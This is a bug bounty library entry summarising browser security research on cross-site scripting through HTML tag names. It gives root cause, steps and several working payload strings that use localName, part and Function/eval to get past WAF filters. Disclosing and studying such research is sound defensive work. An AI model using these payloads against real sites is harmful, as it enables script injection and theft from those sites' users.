# What's in a tag name? JavaScript, apparently

Browsers allow JS payloads inside HTML tag names, and localName/part/classList properties convert them into executable code, bypassing WAF blocklists.

- Payout: Research
- Program: Web browsers
- Write-up by: PortSwigger Research
- Disclosed: 2026-08-25
- Write-up quality: 8/10
- Original: https://portswigger.net/research/whats-in-a-tag-name-javascript-apparently
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-whats-in-a-tag-name-javascript-apparently
- Tags: area:os domain:browser impact:integrity kind:research platform:research tech:chromium tech:firefox technique:fuzzing technique:source-review vuln:xss

**Target:** HTML parser / DOM element tag names in browsers
**Root cause:** Browsers accept arbitrary characters (including parentheses, colons, angle brackets) in tag names and expose a lowercased version via localName; combined with focusable elements and event-handler self-chaining, the tag name string can be turned into executable JavaScript.
**Steps:**
1. Observe tag names must start a-zA-Z but allow many chars after; browser uppercases them, but `localName` preserves lowercase.
2. Make tag focusable with `tabindex=1 autofocus` and chain onfocus to itself.
3. Write localName into the handler via `attributes[0].value=localName,new onfocus`.
4. Payload: `<alert(1) onfocus="attributes[0].value=localName,new onfocus" autofocus tabindex=1>`
5. Alternative: `<JAVASCRIPT:ALERT(1) onfocus=location=localName autofocus tabindex=1>`
6. Bypass blocked attributes[0].value using `attributes[0].textContent` or `attributes[0].nodeValue`.
7. Use `part` attribute: `<ALERT(1) onfocus="event=localName;part=onfocus,onfocus=Function,eval(part[1])()" tabindex=1 autofocus>`
8. Use `classList` variant or `getAttributeNode('onfocus').value=localName,onfocus()` or `setHTMLUnsafe(localName+title)`.
**How found:** Curiosity about which characters are legal in a tag name; tested `alert(1)` as tag name, noticed uppercase conversion, then used `console.dir(x)` in DevTools to inspect properties and spotted `localName` held the lowercase form.
**Exploitation:** Attacker injects markup whose tag name itself carries the JS payload; on focus (autofocus) the handler copies localName into an attribute value, converts it to a Function via `new onfocus`, and executes it, achieving XSS while evading WAF signatures that only inspect attribute values.
**Escalation:** Chaining tag-name payload with a second injected attribute (e.g. `<alert<img title=" src onerror=alert(1)> " onfocus=innerHTML=localName+attributes[0].value ...>`) produces fresh markup and a second-stage onerror XSS.
**Insight:** When hunting XSS/WAF bypass, fuzz the tag name itself as a payload carrier and inspect DOM properties (localName, part, classList, getAttributeNode) that reflect or transform it; focusable elements plus self-chaining onfocus turn any reflected string into executable code.

## Proof of concept (copied exactly from the original report)

**Tag-name XSS via localName and onfocus constructor**

```
<alert(1) onfocus="attributes[0].value=localName,new onfocus" autofocus tabindex=1>
```

**Uppercase JavaScript tag name via localName**

```
<JAVASCRIPT:ALERT(1) onfocus=location=localName autofocus tabindex=1>
```

**part attribute Function constructor eval vector**

```
<ALERT(1) onfocus="event=localName;part=onfocus,onfocus=Function,eval(part[1])()" tabindex=1 autofocus>
```

